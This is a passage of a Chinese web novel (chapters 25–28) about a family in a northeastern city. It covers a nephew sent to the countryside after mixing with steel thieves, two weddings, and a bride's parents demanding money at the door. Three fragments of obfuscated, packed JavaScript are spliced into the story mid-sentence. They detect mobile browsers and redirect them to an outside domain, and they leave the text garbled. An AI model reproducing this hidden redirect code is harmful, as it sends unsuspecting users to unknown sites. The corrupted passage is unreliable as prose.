说远了,只说这年头,工厂的生产任务不重,章清宇又不是个老实的,渐渐的,跟厂里的一些混子交上了朋友。那伙子想偷钢材的,通过这几个混子,扒上了章清宇。为啥呢?还不是看中章清宇的二婶是警察!亲爹和二叔还都是高级技工。历来官官相互,有警察帮着求情,还有高级技工去跟厂里领导疏通,就不信还能判章清宇坐牢!保了章清宇,敢不保他们?! 当然,这些都是章砚臻查到后,自个儿琢磨的,当时心里那个气啊。你说你一个大小伙子,和谁玩不好,和一伙子贼玩! 当晚,章砚臻带着陈静,第一次严肃地找章砚廷和邵华聊。特别是陈静,将其中的危害一五一十地告诉邵华,她说:“大嫂,清宇可得好好管管!要是再这么着,坐牢都是轻的,你不想看亲儿子被枪毙吧?” 邵华吓的脸都白了,她抖着嘴唇,声音都发不出来,半晌才道:“这个混小子,混小子!这是要割我的心啊。” 章砚臻也说:“大哥,清宇可得看紧点儿,不然有了污点,以后做什么都受影响,就连清海、清洋他们,说不得都会被连累。” 章砚廷脸色铁红,猛地一拍桌子,他说:“下乡,让清宇下乡去!” 邵华唬了一跳,闻言慌忙摆手:“不行,下乡太苦了,不行......”年前,胡同里有那下乡的孩子回来探亲,好家伙,跟清洋一样大的孩子,才二十,看着跟二十五六似的,一脸的老相。皮肤也糙,手指的骨节一根根粗大,一看就是下了大力了。苦,太苦了。 章砚廷生气地说:“慈母多败儿!我一个八级工,天天工作那么忙,能怎么看着他?二弟也是七级工,还是最忙的电工,更是看不着。你能指望他听你的话?!” 他细细说道:“下乡去,让他跟那些人隔开,时间长了就好了。等改好了,咱们再想办法让他回城。不然再这么混下去,非毁了不可!你可不能心软。” 邵华有些犹豫:“回城是......是那么好操作的?” 章砚廷剜了眼媳妇儿:“不然怎么办?你能绑着他不让他出去交际?我宁愿他去当农民,也不想他坐牢!” 章砚臻没想到大哥能下这么大的决心,他搔了搔下巴,沉吟片刻,道:“这样,去三河大队找大队长,最好大队长能同意让清宇落户,然后再去找知青办。别管去哪儿吧,反正帮着知青办完成了一个名额,他们应该会同意的。” 25. 百货大楼引骚动 之所以去三河大队落户,那是因为,这是章砚廷和章砚臻哥俩的老家。爹妈、爷奶都在老家住着呢,章清宇去那里受不了罪。 是的,章家老爷子章华强和老老爷子章大力,两层老人都在。只是章家老太爷、老太夫人年纪大了,总想着落叶归根,轻易不会住到城里来。作为唯一的儿子,章父能怎么办呢,只能在老家伺候着。 章砚廷和邵华夫妻俩对视一眼,都认同了章砚臻的话。章砚廷拍着胸脯道:“行,这事儿我去办,还是二弟脑子快。” 章砚臻摇摇头,叮嘱:“这两天可得盯紧了清宇,不能让他出去。静静他们随时准备抓人,可千万盯紧了。” 处理了章清宇的事儿,剩下那些就没顾忌了。也就一个礼拜吧,市刑警队按住了人,领头的孙奎被抓了现行,其他小弟们按住了十四五个,算是特大钢材盗窃案。可以说,孙奎被抓了,都不知道其中有关百钺的手笔。 等事儿了了,一大家子才坐在一起,开会!章清宇也才知道,他被人当抢使了,气得脸都红了。对于父母让他下乡,章清宇刚开始犟着不说话,听到是去老家,这才松口。 章砚廷训他:“在老家老实点儿!没事儿别回来,等个一年半载,等事情没人说了,再回来,知道不?” 章清宇颓丧着脸,无可无不可地点头。章清云则多看了这个堂哥几眼,这么容易就接受了?这可不像三堂哥的性格啊。 不管怎么说,如今已经是八月下旬了,开会没两日,先是当兵的被招走,之后刚进入九月,轰轰烈烈的秋季下乡开始了。章清宇和司南胸前挂着大红花,背着被褥,被两家人簇拥着来到车站。虽然是离市区不远的三河大队,可也得知青办统一安排,不能单独去的。 九月一日正好是周一,章清云要上班,没办法送好友和堂哥,昨晚一人塞了一包糖,算是提前送行。乡下的日子苦,希望糖能给两人的生活加点儿甜吧。 正想着糖呢,没想到去到文工团,却收到了蓝可人发的喜糖。自从调去做文职,没那么忙了,蓝可人就一直在相亲,今日终于定下了,章清云也不知该不该恭喜她。 蓝可人却像是十分高兴,她伸手挽了挽鬓角的碎发,笑着道:“老齐是煤厂的办公室主任,我明儿就走了,去煤厂宣传科做文艺骨干。” 煤厂如今可富得流油!在石油和其他能源还不普及的年代,什么都离不了煤炭。怪不得蓝可人和蓝母都很满意,感情是得了金龟婿啊。 不过煤厂离市区有些距离,在北边偏东方向的郊区,好在通着小火车呢,来市区也方便。想到以后不常见面了,章清云真心实意地道:“恭喜。” 蓝可人笑得温婉:“高斌临走前向你打听我了吧?” 章清云有些尴尬,这事儿她并没有跟蓝可人提。高斌既然给不了蓝可人幸福,何必再纠缠呢,她笑笑,没说话。 蓝可人道:“你跟他说,我找到了真正对我好,能接受我和我家人的人,我很幸福。但我不觉得他会幸福,他根本不知道,什么是家庭和责任,也根本不会尊重女人。”说着冲章清云点点头,转身潇洒离开。 程紫鹃刚才一直没说话,此时才低声道:“清云,我跟你说,那个煤厂的老齐,今年三十六了!比可人大十三岁,还有两个孩子!最大的都十六,已经参加工作了。小的也十三四了,也不知道可人怎么想的,后妈可不好当。” 是啊,后妈不好当,可这是蓝可人的选择,谁能说什么呢。 “好了,训练吧。”章清云选择不谈论这件事儿。 一旁的姚燕妮问道:“清云,盈钺姐结婚,你准备送什么礼?” 章清云:“......”她能说还没准备吗?这几天忙着堂哥和司南下乡的事儿,她都把关盈钺本周末结婚的事儿忘了。 姚燕妮笑:“那咱们下班去百货大楼看看吧,今儿月初,说不定有新货呢。” “我也去我也去。”程紫鹃插嘴。 其他人也纷纷加入,金龟婿再好,也没有去逛街的吸引力大,一时几乎人人都嚷着要去百货大楼扫货。 好家伙,文工团近十个美人儿,长手长脚的往百货大楼一站,白天鹅似的,立时轰动了整个大楼。人头攒动的,据说还有乌泱泱往这边赶的人群。 洪安娜、关盈钺和魏雪正在三楼二手区,置办结婚用的东西呢,瞧见了忍不住乐。见人群不住增加,关盈钺蹙眉:“人太多了,走吧,跟清云她们说一声,先走,出事儿了可不是玩的。” 章清云自然也注意到了,她不怕别的,就怕出现踩踏事故。她拉住程紫鹃,对众人道:“三三两两分散开,在一起太打眼了。” 姚燕妮点点头,当时提议的时候,没想到这么多人附和,她说:“盼儿,咱俩一起,大家赶紧凑对儿分开。” 众人点点头,也怕出事儿,很快找到相熟的队友,有人挤开人群离开,有人混入人多的地方,尽量降低存在感。章清云呢,则想着先回去,大不了过两天再来买东西。 刚走出百货大楼门口,被关盈钺叫住:“清云,清云,等等。” 气喘吁吁地来到面前,关盈钺道:“怎么想着来百货大楼了?可得注意点儿,你们那么多人在一起,太打眼了。” “是,下次肯定注意。”章清云示意边走边说,“盈钺姐买了什么?” “革委会那边寄卖了一批二手家具,我和安娜她们来看看。”关盈钺解释道,“你准备买什么?要是不重要的东西,让小雪明儿帮你买了就行,反正她不上班,闲着也是闲着。” 魏雪嘟嘟嘴,她两个哥哥都去当兵了,就剩她一个在家里,按政策是不用下乡的。不过家里为了保险,高中毕业后给她在医院挂了个职,不领工资的那种,自然也不用坐班,真真正正的闲人一个。 章清云拒绝了关盈钺的好意,几人说着话,离百货大楼越来越远,自然没看到,好几伙儿顽主往百货大楼赶,就为了一睹“白天鹅们”的风采。 半大小子们聚在一起,怎么可能安生,没说两句就呛呛起来,在百货大楼前面的空地上血拼。听说打的呀,重伤了三个,幸好没人死亡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266887|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因着事情太戏剧化,当晚就传遍了青江市,也让第二日众人去上班时,遭到了团长向党及一众领导的批评。 “不是不让你们去百货大楼,但怎么能一起去呢。”向党脸色十分严肃,“不说别的,万一混子们打架,误伤了你们怎么办?就快十一了,国庆可是有汇演的!要是出了什么意外,从哪儿再调人来接替你们?” 章清云以为会听到类似“女孩儿不该穿短裙上街”的言论,没想到向党反而从大家的安全考虑,这算是十分隐秘的“受害者有罪论”了。她没立刻反驳,等向党说完了,才检讨道:“团长,都是我不好,是我要去百货大楼买东西,大家听说了,这才跟着去的。您说的对,我们一群人出去,没考虑到安全问题,我在这里做检讨,请您原谅我。” 还要再说,谁知被姚燕妮抢了话,她说:“不是的,是我第一个提出要去百货大楼的,我付主要责任。不过团长,我觉得,打架斗殴的事儿不该怪我们。怎么,长得好就不能上街了?那群顽主就是一帮荷尔蒙分泌旺盛的傻小子,打架是家常便饭,可不关我们的事儿。” 向党望向姚燕妮,指了指她道:“我提打架斗殴的事儿了吗?我只是在担心受伤了耽误工作。也是在提醒你们,外出一定要注意安全。我是做团长的,担心队员和砚春,不是很正常?行了,话都让你说了,训练吧,以后少惹事儿!” 队员们嘻嘻哈哈地四散开训练,因着维护大家顶了团长,姚燕妮迅速地融入了文工团。 章清云昨儿想了一晚上,决定送关盈钺一套茶具。能想着买二手中式家具的,应该是喜欢古香古色的东西,明儿吧,等风头过了,她再去百货大楼看看。 于是这日下班,章清云没去百货大楼,直接回家。刚到胡同口,司母董婶子急匆匆从胡同里出来,见了章清云招呼道:“快,菜站来了一批莲藕,据说是从南边运过来的,可脆生了,被一群老头老太太看见,闹着要立马卖呢。快回家拿钱和票,快着些,晚了就没了。” 章清云哎呦一声,莲藕可不常买到,她高声感谢了董婶子,推着车一阵风似的跑回家。 等到菜站的时候,闹哄哄的已经开始卖了。因着人多,一人限购五斤,轮到章清云时,卖菜的大婶儿多看了章清云几眼,特意挑了完整没断的莲藕,秤砣也划得高高的,看的章清云都有些怀疑,她好像并不认识这位大婶儿吧? 直到后面的苗盼儿秤砣跳得更高,她才有些恍然,感情是陶勇他妈? 章清云在前面慢慢地走着,直到苗盼儿靠近了,她才低声道:“你见过陶勇的父母了?” 苗盼儿赶紧小心地四处瞧,见没人关注他俩,这才瞪向章清云:“胡说什么呢。” 看清章清云眼里的戏谑,苗盼儿跺了跺脚,低声道:“都是小时候一起玩儿的,肯定见过啊。也就是你,贵人多忘事!”说完蹭蹭蹭地离开。 章清云笑,估计除了苗盼儿的面子,还有关百钺的事儿吧?这几天关百钺带着陶勇四处忙活,都没时间来看她,估计榨油机的事儿有了进展。 26. 新事新办结婚忙 可不是有进展,有刘叔的背书,加上项目背后明晃晃的利益和功劳,粮油公司的人就是集体脑子抽疯,都不会拒绝这个事儿。 粮油公司的领导特意去找钢铁厂的方副厂长,也就是吴军后妈的爹,说通了批钢材造机器的事儿。关百钺全程跟在身后,不言不语的,可谁也没办法忽略他。毕竟这是个技术活,不是谁都能摘桃子的。 忙忙叨叨的,很快到了关盈钺结婚的日子。因着跟粮油公司走的近,最近关百钺弄来的物资特别多,用来办关盈钺的婚事绰绰有余。不过这年头不流行大操大办,大院尤是,一个茶话会,嗑嗑瓜子儿聊聊天,对着伟人像三鞠躬,就算结婚了。 师家因为师强和罗霞身份敏感,更不敢大办,只在院子里摆了几桌素席面,招待了领导和关系好的亲朋,就算结婚了。不过章清云去了新房,看到崭新的两床红被子、全新的褥子和大红的鸳鸯戏水枕巾。衣柜里,还有新织的两身红毛衣和毛呢褂子,床下还有两双大头皮鞋,师家并没有委屈关盈钺。 关盈钺一身红,头上还别着红色的绒花,笑得一脸幸福,她拉着章清云的手,说:“别担心我,师叔叔和罗阿姨是看着我长大的,不会给我罪受的。倒是你,我这嫁过来了,家里就剩百钺一个人,你什么时候嫁到我家去?” 章清云也不害羞,笑着道:“我不急,才十八,我还想跳到二十五岁呢,之后才打算要孩子,要是关百钺同意这个条件,我才嫁。” 关盈钺笑嗔道:“他敢不同意!有事业心好,咱们女人不仅得有婚姻、有爱情,更重要的,还是要有自己的事业。别看我嫁到了师家,不愁吃不愁穿的,可那军医的工作,却不打算放手。爱情顶多就是生活的调味剂,没有它,人照样活。可没有工作,没有面包,才是真的活不下去。” 就说这样的大姑姐,三观正不正吧?章清云觉得,就算和关百钺结婚,也不怕他闹幺蛾子。有事儿,不用她出手,大姑姐就先收拾关百钺了。 章清云打趣:“那我要是嫁过来,大姐可得帮我。您要是帮着他,我可不嫁。” 关盈钺刮了刮章清云的鼻子:“行,女人哪能不帮女人,放心,就算不嫁给我家那臭小子,我也帮你。” 两人说着话,外面劝酒划拳的声音越来越大。罗霞端着托盘笑眯眯进来,放下两大碗汤面,汤面上码着冒尖儿的红烧肉和鸡腿儿,可比外面的素席面香多了,她小声道:“饿了吧?快吃,安娜和爱军两个在外面看着呢,没人进屋来,你们只管吃就行。” 洪安娜和沈爱军跟大院的人熟,帮着招待客人。章清云是第一次来大院,被关百钺安排来陪着关盈钺,饭点儿确实饿了,望向端来的面条,没出息的咽了咽口水,笑嘻嘻道:“谢谢罗阿姨。” “不谢,不谢。快吃吧。”罗霞看着章清云,爱得不行,这么漂亮年轻的女孩子,不端着,对谁说话都热情,她跟关盈钺开玩笑道,“我要是还有个儿子,肯定让他娶清云,就没你家百钺什么事儿了。” 关盈钺就笑:“那可不行,我要做清云的大姑姐,可不能跟她做妯娌。做大姑姐,能挑弟妹的茬儿,要是做妯娌,可就被她比下去了。 说得罗霞直笑。外面也热闹起来,又是《国际歌》,又是《九九艳阳天》的,声音能传到二里地去。等热闹散尽,都下午三点半了,章清云也起身离开。 关百钺多喝了几杯,他是小舅子,又是姐夫师援军的好友,今日被灌的不少。不过他酒量好,也只上了脸,脑子还是清明的。即使如此,章清云也不敢让他骑车,只一路推着车子回家。 关百钺指着不远处的一栋小楼道:“那就是我家,去看看?” 早上,章清云被洪安娜直接迎进了师家,并没有去关家看,她眯了眯眼,点头道:“行啊,去看看。” 进入大门,左侧是一处花架,下放着竹制摇椅。入秋了,草叶败落,并不好看,不过想来夏花灿烂之时,风光该是旖旎的吧?右侧是种的菜,白菜、萝卜、辣椒、茄子的,零零碎碎的种了一些。地方不大,收拾的很齐整。 打开家里的门,玄关左侧是通向二楼的木质旋转楼梯,右侧是极开阔的下坠式客厅。客厅里,皮质沙发、红木茶几、电话一应俱全,茶几上还放着白瓷花瓶,上插着一束开得艳丽的野菊花。 章清云挑挑眉,没想到关百钺倒是个懂生活情趣的,她问:“野菊哪里采的?” 关百钺让章清云坐,一边倒茶一边说:“去乡下收干菜,顺路摘的。下次去了,也给你带一束。” 将杯子推过去,这才继续道:“爸妈让我谢你呢,我寄了三次干菜过去,爸妈说手脚开裂的情况好多了,基地的领导还发电报过来,让大院的后勤帮着采购干菜,冬日里专门包车送过去。” 集体的力量总归好过关百钺一个人,章清云点点头,问了榨油机的事儿:“造好了吗?宣传的事儿也找好了人?” 关百钺就解释:“快了,宣传的事儿有领导,放心,不会少了我的功劳的。不过具体往上报多少,不是我能控制的。” 这个章清云懂,她接着问:“那要建工厂,专门造这个机器吗?” 关百钺点头:“肯定的,现在全国的榨油技术都待提高,如果普及了,是对大家都好的事儿。不说全国,单东北这一片,订单都能排到三年后。” 两人说了会儿话,魏雪带着卢建设敲门,一进来就大大咧咧地说:“哥,你那个榨油机的事儿,能带着建设一起不?” 关百钺脸上没什么表情,抬手示意两人坐,望向卢建设道:“建设,你自己跟哥说,是想跟着我忙榨油机的事儿,还是有其他打算?” 魏雪要开口,关百钺转过头,严肃着脸,厉声道:“闭嘴,男人的事儿,你少插嘴。过了年建设就十八了,是个成年的男人了,他不能拿主意吗?要你个十六岁的小女娃操心?” 魏雪嘟着嘴,满脸的不高兴。 卢建设有些尴尬,他讪讪的开口:“哥,我是......我是觉得跟着你干,更有前途。你要是不嫌弃,我......我就跟着你。我爸是给我安排了个图书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278427|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆管理员的职位,可你也知道,如今都不读书了,这个职位没前途......” 章清云多看了卢建设几眼,心里为卢父点蜡。她听关百钺说过,卢父是趁着运动上来的,可跟其他人比起来,不是个脑子发热的,只不过趁势掌权,捞些好处罢了。 作为D内的老人,自然知道,什么运动都不可能长久。让唯一的儿子去图书馆,就是想让卢建设沉下心学技术的。不管上面怎么闹,有技术的人,都少不了一口饭吃。他是满腔的拳拳爱子之心,奈何卢建设眼瞎,没看出来。 不过今儿这一出,是卢建设自己想的,还是卢父的安排...... 关百钺眯眼打量卢建设,还没说话,魏雪小声嘀咕了一句:“我就说吧,建设肯定想跟着哥干。” 章清云伸手够茶几上的香蕉,掰开递给魏雪道:“吃吧。”堵上嘴,听听你哥怎么说。 关百钺沉吟片刻,低声道:“这样,今儿喝的有点儿多,我一时还真想不到怎么安置你。你先回去,明儿来找我,咱们明儿再谈,怎么样?” 关百钺脸还不自然的红着,浑身散发酒气,这话还是有说服力的,卢建设就笑,看着十分的单纯,他说:“行,哥,那你先休息,我走了。” 说着起身,拉了拉魏雪的袖子:“小雪,走了,别打扰哥了,让哥好好休息。” 魏雪嘴里还嚼着香蕉呢,含混地答应了一声,跟着离开。等关上门,章清云问关百钺:“多安排个人,不麻烦吧?” 关百钺摇摇头:“没事儿,卢建设他爸毕竟是革委会副主任,他跟过来,好处明摆着。笼络好了这个人,是有大好处的。至于其他的,我会想办法。” 章清云点点头,及时掌握革委会的动向,也是一个优势。不过她还是道:“不会是卢父安排儿子来摘桃子吧?” 关百钺笑得十分轻松:“放心,我还没那么傻,前期和粮油公司、钢铁厂的人对接,我都在,卢建设他爸还不能只手遮天。” 这就好,章清洋转移话题,轻声问:“小雪是看上卢建设了吧?”她没好意思说,魏雪怎么看着有恋爱脑的趋势呢,明明之前还想混小圈子来着,不该呀。 关百钺一言难尽,自从出了苏赖子的事儿,魏雪就和卢建设越走越近。是,当初苏赖子围堵魏雪,通风报信的是卢建设,可将魏雪一个人扔在那儿的,也是卢建设啊。魏雪也不知怎么想的,没看到后一点,光想着卢建设带人去救她了。 章清云提议:“要不然给魏雪找点事儿做?不是在医院挂职了吗?去学点儿东西也是好的。” 关百钺点点头:“我会跟大姐说的。走吧,我送你回家。” 说着,拿起桌上的香蕉,装进尼龙网兜里,又抓过一包糖和一小包茶叶:“拿回去给小远尝尝。” 至于那包茶叶,自然是给老丈人的。能有茶叶票,想来也是喜欢喝茶的。只是目前茶叶难买,估计陈姨是买不到,才将茶叶票给他的。他特意去问过后勤,花了九块钱买了二两大红袍,带回去给老丈人尝尝。 27. 临时变卦接亲难 九月十三,章砚廷带着一大家子,和章砚臻一家回了趟老家。一是看望父母和爷奶,二呢,是为了章清洋婚礼的事儿,乡下的食材多,能淘换的尽量在乡下淘换。第三,也是去看看下乡的老三章清宇和司南。 不巧,天空飘着雨丝,一行人穿着泥沙袋子改的雨衣,坐车回了三河大队。即使如此,到家的时候,浑身仍湿漉漉的。东北的秋雨带着寒气呢,人人灌了碗姜汤才缓过来。 章父和章老爷子身子骨都硬朗,大队长看在两个儿子出息的份儿上,也不会让老人干太累的活儿,四位老人过的也算轻松。 章母盘腿坐在炕上,一边伺候老太太喝药,一边对大儿媳道:“为了老二结婚的事儿来的吧?前几天老林家上了趟山,偷偷猎了只傻狍子,我和你爹给你们预备着呢,在厨房放着,走的时候带上,席面上招待客人尽够了。” 邵华笑得格外开心:“妈,您可真是解了我的难了!” 她历数着近一个月犯的难:“清洋那傻小子,非看中人家姑娘了,你说我能怎么办?又是要房子,又是要皮鞋、被子的,这么拿乔,我是真相不中。好在我打听了,那家人虽然难缠,要的彩礼高,可也信奉嫁出去的女儿泼出去的水,轻易不会上女婿家的门,算是一锤子买卖,我也认了。”接着说起那家怎么对大女儿的,说得唾沫横飞。 章清云第一次听邵华说儿媳妇家的事儿,一边趴在炕桌上嗑瓜子,一边儿听的津津有味儿。只听邵华继续道:“妈,奶,要不今儿您跟我们回去,住一个礼拜,参加了清洋的婚礼再回来?家里盖的新房子你们还没去看过呢。” 老太太摆摆手,嘴里含着章清云塞过去的糖,直接道:“不去,老大的婚事儿我们都没去,老二的自然也不去。肉啊、菜啊的我们帮着准备,也算是尽心了。我和你们爷爷这身子,不定哪天就没了,可不能离开家。”非要死守着老家,哪儿也不去,谁说都没用。 陈静就开玩笑:“奶奶,那我们家清云嫁人,你也不去?清云可等着你们两位老人撑腰呢。” 老太太笑着眯起眼,摩挲着章清云的手,呵呵呵的笑:“去,清云的婚事儿自然要去。清云啊,有对象了?咋不带过来?” 感受到老太太的疼爱,章清云笑:“他忙呢,等过两天有时间了,一定带他来看你们。” 老太爷章大力一直听着大家说话,此时跟着点头:“太爷爷给你把关。” 大家都笑开了,两位年近八十的老人给重孙女撑腰,想想还挺可乐。爷爷章华强也凑趣儿点头,一旁的奶奶蔡老太嗔怪地看了三人一眼,继续跟儿媳妇们说话:“夏天的时候,自留地里的黄瓜结的多,都腌成酸黄瓜了。走的时候带些回去,冬天了也是一道菜。” 在爷爷奶奶这里坐了一会儿,章清云起身要去知青点儿看司南。今儿来的时候,董婶子还让捎带了东西,也不是别的,就是用泥沙袋子做的雨衣,怕下雨了闺女没衣服避雨。 章清远跳下床:“姐,我也要去。” 那就去呗,外面,绵绵的雨丝已经停了。快秋收了,不论是知青点儿还是本地村民,都忙。两人到的时候,知青们刚下工,正准备做饭呢,章清云的出现,让好几个男知青都愣了。来三河大队这么久,怎么从来没见过这么好看的女孩子? 还是司南惊叫一声:“清云,你怎么来了!”说着丢下柴火,小跑过去,抱着章清云又是叫又是跳的,别提多开心了。 “好了,司南,别做饭了,去我爷奶家吃。”章清云拍了拍司南的肩膀,望向傻笑着走过来的三堂哥章清宇,“哥,走吧,去奶家吃饭。” “哎。” 几个男知青冲章清宇挤眉弄眼,章清宇只当看不见,当先朝着章家老屋走。堂妹是芭蕾舞演员的事儿,他和司南跟谁都没提,知青们好奇就好奇吧。 路上,等走出了一段距离,章清宇才小心地道:“我听几个老农说,秋收恐怕要下雨,收成可能会有影响。清云,你和爹、二叔他们说说,有可能的话,存些粮。” 司南跟着点头:“跟我妈也说说,不知道是就咱们这一片呢,还是其他地方也下雨,不过小心总没大错。” 章清云心情有些沉重,她上辈子是孤儿,最怕的就是饿肚子,屯粮简直就是天性,她坚定地点点头,叮嘱章清远:“别出去瞎说,知道吗?” 章清远哼一声,拉着章清宇蹭蹭蹭往前走,小声地抱怨:“三哥,你看我姐,总拿我当小孩儿!我都十二了,能不知道什么话该说,什么话不该说?” 章清宇摸摸小孩儿的头,哄道:“是,你姐不对,我们清远都长大了,是个男人了,怎么能瞧不起人呢。” “哥!”说的好听,还不是拿他当小孩子,还摸他的头,章清远不高兴,蹭蹭蹭,一马当先地走在最前面,谁也不理。 章清云笑笑,问了几句农活的事儿。司南叽叽喳喳,一点儿不觉得累,她说:“离这么近,我要是还抱怨,可不是辜负了我妈的一番好意?你放心吧,我好着呢,有章爷爷章奶奶看着,我和清宇一点儿也不累。” 那章清云就放心了,东北一年就一季庄家,过了秋收就好了,能休息大半年,再累也有限。一行人回到章家老屋,饱食了一顿狍子肉大餐,三点了,才大包小包地往家赶。回到大杂院的时候,自然又惹来一群人艳羡。 从老家回来,紧跟着就是二堂哥章清洋的婚礼。九月秋高气爽,不冷不热,最适合结婚办喜事儿。 自房子盖好,邵华就在准备这个事儿,又是借鸡蛋,又是求爷爷告奶奶地凑糖票粮票。还是章清云跳舞的福利好,多发了几张糖票, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284450|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才凑够了办喜酒用的两斤糖。这次从老家带回来大半只狍子,算是解了肉的急,剩下的办起来就从容多了。 正日子那天,九个菜的席面,其中五个都是荤菜,看着比师家的婚礼都体面。肉菜就是红烧狍子肉、黄豆芽炒肉丝、麻辣小鱼干、泥鳅炖豆腐和大葱炒鸡蛋,剩下的都是素菜,烩豆腐丸子、酸辣白菜、清炒绿豆芽、以及一碗热乎乎的青菜蛋花汤,杂粮馒头管够。 掌勺的自然是苗大山,邻里邻居地坐满了院子,都等着开席呢。新娘子却左等不来,右等不到的,邵华脸上的笑都快维持不下去了。 新娘子在哪儿呢?当然还在家。新娘子叫唐春梅,今年二十,是钢铁厂焊接车间的女工。六六年高中毕业后,正好赶上钢铁厂招工,因着成绩好,唐春梅考进了钢铁厂,成为了正式工人。 本来一切都好好的,章清洋带着大哥章清海、章清远、袁家没结婚的哥俩,以及三叉树胡同的一众邻居,浩浩荡荡的来接亲。谁知唐家父母临时变卦,非要让女婿同意,结婚后,唐春梅的工资,有一半必须给娘家。 唐父自觉十分有理:“我家把唐春梅养到二十,不仅供到了高中,还有了工作,如今虽说嫁去你家,但也是我唐家的女儿吧?我家可不信奉嫁出去的女儿泼出去的水那一套,我家要和闺女继续当亲戚处呢。亲闺女出一半儿的工资养我们老两口,不过分吧?” 章清洋都傻了,之前又是要房子又是要衣服的,他也是想着唐春梅的话,说跟父母是最后的缘分了,满足他们最后一次,以后就没瓜葛了,可谁知又来了这一套。他望向唐春梅,唐春梅眼圈儿都红了,恶狠狠看向弟弟。唐小弟眼神儿躲闪,低着头不看她。 唐春梅呵了一声:“行啊,当亲戚处是吧?那就是说,你们疼我这个闺女了?” 唐父梗着脖子,嘴硬道:“本来就疼嘛,咋会不疼闺女,我们疼呢。” 唐母紧跟着开口,也是给来接亲的众人解释:“就是嘛,我和她爹可是最疼闺女的,大家都是邻里邻居的,都能看得到,是吧?不疼你,你能上高中,能长这么大......” 唐春梅脸上在笑,眼泪却从眼角滑落:“行啊,既然疼闺女,陪嫁呢?不是要了六十六块钱、四床被子、两张毛毯、两身衣服和两双皮鞋嘛,给我陪嫁多少?不是疼闺女嘛,除了这些章家给的,你们就不准备点儿其他的?樟木箱子、床单被罩的,总归得意思意思吧?还有......” “还有什么还有,没有!这些都是我们养你该得的,你一点儿都别想带走!”唐母刷地起身,不顾儿子使劲儿扒拉她的手,指着闺女骂道,“养你这么大,不花钱啊?!都嫁人了,还想要东西?没门!” 唐春梅擦了把眼泪,深深吸了一口气:“不是说疼我吗?怎么,又不疼了?” 28. 婚礼变断亲现场 唐父瞄了眼儿子,见时候差不多了,这才提条件:“不给工资也可以,再加两百块钱,以后出了唐家的门儿,我们只当不认识。哼,别说没有,你工作都四年了,会没有两百块钱!” 话音刚落,唐家街坊四邻炸开了。唐家也是住大杂院,本来结婚来看热闹的就多,谁想到还有这出啊。这是嫁闺女嘛,这明明是卖闺女! 有那爱说个仗义话的就开口了:“哟,都什么时候了,还来卖闺女那一套啊?两百块,你们怎么不去抢!小糖哪次发工资,不是她妈跟着去取的,恐怕工作四年,小糖都没摸到过工资吧?你们怎么有脸说这个话的。” 那看不惯唐家父母的,讥讽道:“他家卖闺女也不是第一次了。唐家那老大,不就是要了好些个彩礼,断亲了嘛,这是又想故技重施呢。” 唐父唐母才不觉得丢人,他们有儿子撑腰,怕什么。唐母嗷嗷叫:“什么卖闺女,我们把丫头片子养到这么大,还让她读了高中,满大杂院瞧瞧,有我们这么好的父母吗?怎么,儿女赡养父母不是天经地义的?讲到大天去,我都是这个话。拿两百块钱,今儿唐春梅就能出这个门儿,否则免谈。” 有人小声嘀咕:“要不是看唐春梅长得好,读高中能嫁得更好,你们能好心让唐春梅读高中?” 唐春梅苦笑一声,她还真有两百块。虽然每次发下工资,第一时间就被母亲拿走,但车间不定期发的一些奖金、福利,唐春梅都偷摸攒起来,物资和别人换成钱存起来。她家不在钢铁厂家属区,没人知道,也没人会多嘴。四年来,偷偷摸摸的,也就攒下两百块钱。 思及此,唐春梅呵呵笑了起来,前仰后合的,恐怕昨天偷偷装钱的时候,被小弟看见了吧?今儿才加了这一出。 她抹了把脸,深深望向父母和弟弟,良久,决绝道:“行。写下来,结婚你们要的所有彩礼、还有两百块,就当我提前给你们养老了,以后你们老了别......” 章清洋忙拉住唐春梅的胳膊,断绝关系的话,不能从唐春梅这个做女儿的口里说出来,他忙打断,满脸挂笑,很殷勤的样子,开口道:“唐叔,唐婶,这怎么话说的,你们有什么困难,跟我说,就是让我去厂里预支一年的工资,这个钱我也借给你们,你们只要说句话......” 邻里邻居这才注意到接亲的小伙子,高高的个儿,站在那里如青松一样挺立,一表人才,纷纷在心里感慨,好汉没好妻。唐家老两口也是糊涂了,这么好的女婿往外推,脑子也不知道怎么想的。 唐家父母可不觉得这个女婿好!借,那不还得还吗?跟女儿要二百块钱,再加上六十六的彩礼,还有被褥、衣服、皮鞋之类的,加起来得有快四百了吧。 另外四年来唐春梅的工资,怎么也得有千把块,这么些钱,很能给儿子娶个上上等的好媳妇儿了。唐母哼一声,不屑道:“借什么借,我们给闺女要钱,天经地义。你少在这儿掺和。” 